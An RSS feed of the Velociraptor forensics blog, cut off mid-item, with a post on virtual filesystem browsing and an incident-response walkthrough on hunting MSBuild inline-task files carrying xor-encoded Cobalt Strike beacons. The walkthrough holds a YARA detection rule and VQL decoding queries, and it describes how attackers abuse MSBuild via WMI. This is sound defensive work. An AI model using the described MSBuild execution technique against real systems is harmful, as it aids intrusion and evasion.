<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Velociraptor Blog on Velociraptor - Digging deeper!</title>
    <link>https://www.velociraptor-docs.org/blog/</link>
    <description>Recent content in Velociraptor Blog on Velociraptor - Digging deeper!</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <atom:link href="https://www.velociraptor-docs.org/blog/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Browsing around the filesystem.</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/browsing_around_the_filesystem/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/browsing_around_the_filesystem/</guid>
      <description>&lt;h1 id=&#34;the-virtual-file-system&#34;&gt;The Virtual File System&lt;/h1&gt;&#xA;&lt;p&gt;Like GRR, Velociraptor also maintains a virtual file system view (VFS)&#xA;of the client&#39;s filesystem. GRR&#39;s VFS view is generated by adding a&#xA;row for each file into the database. In order to refresh the view of a&#xA;certain directory, GRR issues a ListDirectory request and updates the&#xA;database by storing each newly discovered file in its own row.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor models the client&#39;s VFS as a per-directory VQL query. In&#xA;order to refresh the view of a certain directory, a new VQL query is&#xA;issued to the client, essentially collecting the glob information for&#xA;that directory in a single VQL response table. The VQL result is then&#xA;stored in a single database row. Therefore Velociraptor stores a single&#xA;row per directory (as compared to GRR&#39;s single row per file approach).&#xA;This leads to a huge reduction in database rows.&lt;/p&gt;&#xA;&lt;p&gt;The tradeoff however, is that the Velociraptor VFS view can only show&#xA;the state of the entire directory listing at a single point in time.&#xA;GRR&#39;s VFS viewer can show old files (which have been removed) mixed in&#xA;with current files because it can merge the output of different&#xA;ListDirectory operations that occurred in different times. We decided&#xA;this feature was not often useful and sometimes actually led to&#xA;confusion since files that are removed from a directory are shown&#xA;together with files currently present. Velociraptor therefore shows the&#xA;VFS directory at the latest timestamp the entire directory was fetched.&lt;/p&gt;&#xA;&lt;h1 id=&#34;recursive-vfs-refresh&#34;&gt;Recursive VFS refresh&lt;/h1&gt;&#xA;&lt;p&gt;Users who are more familiar with traditional forensic tools (or GUI file&#xA;managers like Windows Explorer) usually attempt to browse the client&#39;s&#xA;VFS view interactively, searching for files and directories relevant to&#xA;the case. However, since the VFS view is only a cached database view of&#xA;the real client&#39;s file system, we need to go to the client to refresh&#xA;the cache whenever we try to view a directory in the VFS which had not&#xA;yet been fetched from the client.&lt;/p&gt;&#xA;&lt;p&gt;Since clients are not always online, some users attempt to just&#xA;recursively refresh the entire VFS view (i.e. recursively list all&#xA;client directories from the root). This is however, an expensive&#xA;operation (This is at least as expensive as running a recursive &amp;quot;find /&#xA;-ls&amp;quot; command on the commandline). Due to GRR&#39;s extensive data model&#xA;and complex multi-round trip flow model, performing a recursive VFS&#xA;refresh with GRR is unlikely to work in any reasonable time (typically&#xA;the flow will run for a while then hang due to race conditions in the&#xA;frontend).&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, Velociraptor issues a single VQL request as a&#xA;recursive directory glob and stores the entire directory content in a&#xA;single VQL response taken at an instance in time. The response is&#xA;streamed back to the server. The server simply splits the response table&#xA;into directory specific tables, and then stores a single VQL response&#xA;table for each directory in the database.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;The VQL glob() plugin is guaranteed to generate results in breadth first&#xA;order. This means that it emits information about all files in the same&#xA;directory first, before recursing into sub directories. This feature&#xA;makes it simple to split the result table into directory specific&#xA;sub-tables by simply watching the FullPath column and noting when its&#xA;directory changes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/browsing_around_the_filesystem//blog/html/2018/08/10/browsing_around_the_filesystem/image9.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1048&#34; height=&#34;934&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image9.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h1 id=&#34;very-large-vql-queries&#34;&gt;Very large VQL queries&lt;/h1&gt;&#xA;&lt;p&gt;While we claimed above that Velociraptor simply issues a single VQL&#xA;query and stores its result in a single database row, this was an&#xA;oversimplification. If the VQL query generates too many rows, the&#xA;Velociraptor client splits the response into parts (by default 10000&#xA;rows per part). This allows data to be uploaded immediately to the&#xA;server and processed while the query is still executing on the client.&lt;/p&gt;&#xA;&lt;p&gt;Consider the VFSListDirectoryflow was issued with a glob of /**10&#xA;(i.e. refresh the entire VFS view from the root directory, recursively&#xA;into a depth of 10 directories). The VQL query executed was:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath AS _FullPath,&#xA;    Name, Size, Mode,&#xA;    timestamp(epoch=Sys.Mtim.Sec) AS mtime,&#xA;    timestamp(epoch=Sys.Atim.Sec) AS atime,&#xA;    timestamp(epoch=Sys.Ctim.Sec) AS ctime&#xA;FROM glob(globs=&#39;/**10&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query was issued to a Velociraptor client running on a Chromebook.&#xA;This particular system has approximately 500k files in its root&#xA;filesystem, and so the response consists of 500k rows. However, as the&#xA;query executes, the response is split into multiple parts, each being&#xA;10k rows, and uploaded (each part is about 3mb in total).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/browsing_around_the_filesystem//blog/html/2018/08/10/browsing_around_the_filesystem/image3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1135&#34; height=&#34;1014&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Total execution time for this query is about 4 minutes and consists of&#xA;about 50 parts (around 2.5mb each). It is still an expensive query, but&#xA;depending on the urgency of the case, it may well be warranted.&lt;/p&gt;&#xA;&lt;p&gt;It is very convenient to just take a snapshot of the entire filesystem,&#xA;especially when the client is offline. We can issue the flow and then&#xA;when the client comes back online we can review all the files.&lt;/p&gt;&#xA;&lt;h1 id=&#34;file-uploads&#34;&gt;File uploads&lt;/h1&gt;&#xA;&lt;p&gt;The VFS view is just a local cache in the data store of what is really&#xA;going on the client. While we can see the file in each directory we cant&#xA;transfer all the file content. Velociraptor represents downloaded files&#xA;differently from just listed files. Files with the floppy disk next to&#xA;them represent files that we have a local cache for. We can view the&#xA;Hexview or just download them.&lt;/p&gt;&#xA;&lt;p&gt;You can always initiate a download of a VFS file by selecting the&#xA;Download tab. Unlike GRR, Velociraptor does not keep previous versions&#xA;of files - a re-download will overwrite the previous file.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Cobalt Strike payload discovery and data manipulation in VQL</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation/</link>
      <pubDate>Tue, 09 Nov 2021 04:54:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation/</guid>
      <description>&lt;p&gt;Velociraptor’s ability for data manipulation is a core platform capability&#xA;that drives a lot of the great content we have available in terms of data&#xA;parsing for artifacts and live analysis. After a recent engagement with&#xA;less common encoded Cobalt Strike beacons, and finding sharable files on&#xA;VirusTotal,  I thought it would be a good opportunity to walk through some&#xA;workflow around data manipulation with VQL for analysis. In this post I&#xA;will walk though some background, collection at scale, and finally talk&#xA;about processing target files to extract key indicators.&lt;/p&gt;&#xA;&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;The Microsoft Build Engine (MSBuild.exe) is a signed Windows binary that&#xA;can  be used to load C# or Visual Basic code via an inline task project&#xA;file. Legitimately used in Windows software development, it can handle XML&#xA;formatted task files that define requirements for loading and building&#xA;Visual Studio configurations. Adversaries can abuse this mechanism for&#xA;execution as defence evasion and to bypass application whitelisting -&#xA;&lt;a href=&#34;https://attack.mitre.org/techniques/T1127/001/&#34; target=&#34;_blank&#34; &gt;ATT&amp;amp;CK T1127&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In this particular engagement, the Rapid7 MDR/IR team responded to an&#xA;intrusion in which during lateral movement, the adversary dropped many&#xA;variants of an MSBuild inline task file to several machines and then&#xA;executed MSBuild via wmi to load an embedded Cobalt Strike beacon.&#xA;Detecting an in memory Cobalt Strike beacon is trivial for active threats&#xA;with our process based yara and carving content.&lt;/p&gt;&#xA;&lt;p&gt;The problem in this case was: how do you discover, then decode these encoded&#xA;files on disk quickly to find any additional scope using Velociraptor?&lt;/p&gt;&#xA;&lt;h2 id=&#34;collection&#34;&gt;Collection&lt;/h2&gt;&#xA;&lt;p&gt;First task is discovery and collecting our files in scope from the network.&#xA;Typically this task may be slow to deploy or rely on cobbled together&#xA;capabilities from other teams. The Velociraptor hunt is an easy button for&#xA;this use case.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/01_new_hunt.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Velociraptor GUI : hunt : add hunt&#34;&#xA;         width=&#34;680&#34; height=&#34;305&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;01_new_hunt.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Velociraptor GUI : hunt : add hunt&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor has several valuable artifacts for hunting over Windows file&#xA;systems with yara: &lt;code&gt;Windows.Detection.Yara.NTFS&lt;/code&gt; and &lt;code&gt;Generic.Detection.Yara.Glob&lt;/code&gt;&#xA;spring to mind readily.  In this instance I am selecting Yara.NTFS. I have&#xA;leveraged this artifact in the field for hunting malware, searching logs or&#xA;any other capability where both metadata and content based discovery is desired.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Windows.Detection.Yara.NTFS &#34;&gt;&lt;ul&gt;&#xA;&lt;li&gt;This artifact searches the MFT, returns a list of target files then runs Yara over the target list.&lt;/li&gt;&#xA;&lt;li&gt;The artifact leverages &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt; so similar regex filters can be applied including Path, Size and date.&lt;/li&gt;&#xA;&lt;li&gt;The artifact also has an option to search across all attached drives and upload any files with Yara hits.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Some examples of path regex may include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extension at a path: &lt;code&gt;Windows/System32/.+\\.dll$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;More wildcards: &lt;code&gt;Windows/.+/.+\\.dll$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Specific file: &lt;code&gt;Windows/System32/kernel32\.dll$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Multiple extensions: &lt;code&gt;\.(php|aspx|resx|asmx)$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/02_find_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Select artifact : Windows.Detection.Yara.NTFS&#34;&#xA;         width=&#34;1193&#34; height=&#34;765&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;02_find_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Select artifact : Windows.Detection.Yara.NTFS&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The file filter: &lt;code&gt;Windows/Temp/[^/]*\.TMP$&lt;/code&gt; will suffice in this case to target&#xA;our adversaries path for payloads before applying our yara rule. Typically when&#xA;running discovery like this, an analyst can also apply additional options like&#xA;file size or time stamp bounds for use at scale and optimal performance.&#xA;The yara rule deployed in this case was simply quick and dirty hex conversion of&#xA;text directly from the project file referencing the unique variable setup that&#xA;was common across acquired samples.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yara&#34;&gt;rule MSBuild_buff {&#xA;   meta:&#xA;      description = &amp;quot;Detect unique variable setup MSBuild inline task project file&amp;quot;&#xA;      author = &amp;quot;Matt Green - @mgreen27&amp;quot;&#xA;      date = &amp;quot;2021-10-22&amp;quot;&#xA;   strings:&#xA;    // byte[] buff = new byte[]&#xA;    $buff = { 62 79 74 65 5b 5d 20 62 75 66 66 20 3d 20 6e 65 77 20 62 79 74 65 5b 5d }&#xA;&#xA;    // byte[] key_code = new byte[]&#xA;    $key_code = { 62 79 74 65 5b 5d 20 6b 65 79 5f 63 6f 64 65 20 3d 20 6e 65 77 20 62 79 74 65 5b 5d }&#xA;&#xA;condition:&#xA;      any of them&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/03_configure_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.Detection.Yara.NTFS hunt configuration&#34;&#xA;         width=&#34;843&#34; height=&#34;827&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;03_configure_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.Detection.Yara.NTFS hunt configuration&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After launching the hunt, results become available inside the hunt entry on the&#xA;Velociraptor server for download or additional analysis.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/04_hunt_results.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Hunt results&#34;&#xA;         width=&#34;1364&#34; height=&#34;612&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;04_hunt_results.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hunt results&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload-decode&#34;&gt;Payload decode&lt;/h2&gt;&#xA;&lt;p&gt;The Cobalt Strike payload is a string with represented characters xor encoded&#xA;as a hex formatted buffer and key in embedded C Sharp code as seen below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/05_payload_b.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;MSBuild inline task project file with CobaltStrike payload&#34;&#xA;         width=&#34;833&#34; height=&#34;409&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;05_payload_b.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    MSBuild inline task project file with CobaltStrike payload&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;enumerate-collected-files-and-find-location-on-server&#34;&gt;Enumerate collected files and find location on server&lt;/h3&gt;&#xA;&lt;p&gt;So far we have only collected files that have suspicious content. Now we want&#xA;to post process the result and try to extract more information from the payload.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Velociraptor notebook &#34;&gt;&lt;p&gt;The Velociraptor notebook is a gui component that lets the user run VQL directly&#xA;on the server. In this case we are leveraging the notebook attached to our hunt&#xA;to post process results opposed to downloading the files and processing offline.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Our first step of decode is to examine all the files we collected in the hunt.&#xA;The first query enumerates all the individual collections in the hunt, while the&#xA;second query retrieves the files collected for each job.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- find flow ids for each client&#xA;LET hunt_flows = SELECT *, Flow.client_id as ClientId, Flow.session_id as FlowId&#xA;FROM hunt_flows(hunt_id=&#39;H.C6508PLOOPD2U&#39;)&#xA;&#xA;-- extract uploaded files and path on server&#xA;Let targets = SELECT  * FROM foreach(row=hunt_flows,&#xA;    query={&#xA;        SELECT&#xA;            file_store(path=vfs_path) as SamplePath,&#xA;            file_size as SampleSize&#xA;        FROM uploads(client_id=ClientId,flow_id=FlowId)&#xA;    })&#xA;&#xA;SELECT * FROM targets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/06_notebook_files.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Find the location of all files collected&#34;&#xA;         width=&#34;895&#34; height=&#34;660&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;06_notebook_files.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Find the location of all files collected&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;extract-encoded-payload-and-xor-key&#34;&gt;Extract encoded payload and xor key&lt;/h3&gt;&#xA;&lt;p&gt;For the second step, to extract target bytes we leverage the &lt;code&gt;parse_records_with_regex()&lt;/code&gt;&#xA;plugin to extract the strings of interest (Data and Key) in our target files.&#xA;Note: the buffer_size argument allows VQL to examine a larger buffer than the&#xA;default size in order to capture the typically very large payloads in these build&#xA;files. We have also included a 200 character limitation on the data field initially&#xA;as this will improve performance when working on VQL. We have also specified buffer&#xA;size to be larger than default and just larger than the biggest payload in scope.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- regex to extract Data and Key fields&#xA;LET target_regex = &#39;buff = new byte\\[\\]\\s*{(?P&amp;lt;Data&amp;gt;[^\\n]*)};\\s+byte\\[\\]\\s+key_code = new byte\\[\\]\\s*{(?P&amp;lt;Key&amp;gt;[^\\n]*)};\\n&#39;&#xA;&#xA;SELECT * FROM foreach(row=targets,&#xA;    query={&#xA;        SELECT&#xA;            basename(path=SamplePath) as Sample,&#xA;            SampleSize,&#xA;            Key, --obtained from regex&#xA;            read_file(filename=Data,accessor=&#39;data&#39;,length=200) as DataExtract -- obtained by regex, only output 200 characters&#xA;        FROM parse_records_with_regex(&#xA;            file=SamplePath,buffer_size=15000000,&#xA;            regex=target_regex)&#xA;    })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Parse records with regex &#34;&gt;&lt;p&gt;&lt;code&gt;parse_records_with_regex()&lt;/code&gt; is a VQL plugin that parses a file with a set of regexp and yields matches as records. The file is read into a large buffer. Then each regular expression is applied to the buffer, and all matches are emitted as rows.&lt;/p&gt;&#xA;&lt;p&gt;The regular expressions are specified in the Go syntax. They are expected to contain capture variables to name the matches extracted.&lt;/p&gt;&#xA;&lt;p&gt;The aim of this plugin is to split the file into records which can be further parsed. For example, if the file consists of multiple records, this plugin can be used to extract each record, while &lt;code&gt;parse_string_with_regex()&lt;/code&gt; can be used to further split each record into elements. This works better than trying to write a more complex regex which tries to capture a lot of details in one pass.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/07_notebook_regex.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL: extract data and keys&#34;&#xA;         width=&#34;3070&#34; height=&#34;709&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;07_notebook_regex.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL: extract data and keys&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;extract-normalisation&#34;&gt;Extract normalisation&lt;/h3&gt;&#xA;&lt;p&gt;The third step adds a custom function for hex normalisation and converts the inline&#xA;C Sharp style encoding to a standard hex encoded string which VQL can easily parse.&#xA;In this case, the local normalise function will ensure we have  valid 2 character hex.&#xA;The &lt;code&gt;regex_replace()&lt;/code&gt; will strip the leading &amp;lsquo;0x&amp;rsquo; from the hex strings and prepare for&#xA;xor processing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- regex to extract Data and Key fields&#xA;LET target_regex = &#39;buff = new byte\\[\\]\\s*{(?P&amp;lt;Data&amp;gt;[^\\n]*)};\\s+byte\\[\\]\\s+key_code = new byte\\[\\]\\s*{(?P&amp;lt;Key&amp;gt;[^\\n]*)};\\n&#39;&#xA;&#xA;-- normalise function to fix bad hex strings&#xA;LET normalise_hex(value) = regex_replace(source=value,re=&#39;0x(.)[,}]&#39;,replace=&#39;0x0\$1,&#39;)&#xA;&#xA;SELECT * FROM foreach(row=targets,&#xA;    query={&#xA;        SELECT&#xA;            basename(path=SamplePath) as Sample,&#xA;            SampleSize,&#xA;            regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Key)) as KeyNormalised,&#xA;            regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Data)) as DataNormalised&#xA;        FROM parse_records_with_regex(&#xA;            file=SamplePath,buffer_size=15000000,&#xA;            regex=target_regex)&#xA;    })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/08_notebook_normalise.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL: hex normalisation&#34;&#xA;         width=&#34;2262&#34; height=&#34;709&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;08_notebook_normalise.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL: hex normalisation&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;extract-to-bytes&#34;&gt;Extract to bytes&lt;/h3&gt;&#xA;&lt;p&gt;The fourth step converts hex to bytes and validates that the next stage is working. In the example VQL below&#xA;we pass the hex text to the &lt;code&gt;unhex()&lt;/code&gt; function to produce raw bytes for our variables.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM foreach(row=targets,&#xA;    query={&#xA;        SELECT&#xA;            basename(path=SamplePath) as Sample,&#xA;            SampleSize,&#xA;            unhex(string=regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Key))) as KeyBytes,&#xA;            read_file(filename=&#xA;                unhex(string=regex_replace(re=&amp;quot;0x|,&amp;quot;, replace=&amp;quot;&amp;quot;, source=normalise_hex(value=Data))),&#xA;                    accessor=&#39;data&#39;,length=200) as DataBytesExtracted&#xA;        FROM parse_records_with_regex(&#xA;            file=SamplePath,buffer_size=15000000,&#xA;            regex=target_regex)&#xA;    })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-vql-data-manipulation//blog/2021/2021-11-09-vql-data-manipulation/09_notebook_bytes.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL: extract bytes&#34;&#xA;         width=&#34;1912&#34; height=&#34;850&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener 